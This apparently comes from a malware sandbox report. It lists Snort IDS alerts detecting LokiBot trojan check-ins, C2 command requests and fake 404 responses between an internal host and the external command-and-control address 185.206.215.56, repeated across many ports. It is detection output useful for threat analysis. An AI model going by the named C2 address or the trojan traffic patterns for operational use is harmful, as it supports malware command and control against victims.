Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49214 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49214 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49214 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49214 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49214
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49215 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49215 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49215 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49215 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49215
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49216 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49216 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49216 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49216 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49216
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49217 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49217 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49217 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49217 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49217
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49218 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49218 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49218 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49218 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49218
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49219 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49219 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49219 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49219 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49219
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49220 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49220 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49220 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49220 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49220
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49221 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49221 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49221 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49221 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49221
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49222 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49222 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49222 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49222 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49222
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49223 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49223 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49223 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49223 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49223
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49224 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49224 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49224 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49224 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49224
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49225 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49225 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49225 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49225 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49225
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49226 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49226 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49226 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49226 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49226
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49227 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49227 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49227 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49227 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49227
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49228 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49228 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49228 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49228 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49228
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49229 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49229 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49229 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49229 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49229
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49230 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49230 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49230 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49230 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49230
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49231 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49231 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49231 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49231 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49231
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49232 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49232 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49232 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49232 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49232
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49233 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49233 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49233 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49233 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49233
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49234 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49234 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49234 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49234 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49234
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49235 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49235 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49235 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49235 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49235
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49236 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49236 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49236 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49236 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49236
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49237 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49237 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49237 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49237 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49237
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49238 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49238 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49238 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49238 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49238
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49239 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49239 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49239 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49239 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49239
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49240 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49240 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49240 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49240 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49240
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49241 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49241 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49241 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49241 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49241
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49242 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49242 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49242 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49242 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49242
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49243 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49243 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49243 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49243 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49243
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49244 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49244 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49244 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49244 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49244
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49245 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49245 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49245 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49245 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49245
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49246 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49246 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49246 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49246 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49246
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49247 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49247 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49247 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49247 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49247
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49248 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49248 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49248 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49248 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49248
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49249 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49249 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49249 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49249 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49249
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49250 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49250 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49250 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49250 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49250
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49251 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49251 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49251 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49251 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49251
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49252 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49252 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49252 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49252 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49252
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49253 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49253 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49253 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49253 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49253
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49254 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49254 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49254 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49254 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49254
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49255 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49255 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49255 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49255 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49255
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49256 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49256 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49256 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49256 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49256
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49257 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49257 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49257 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49257 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49257
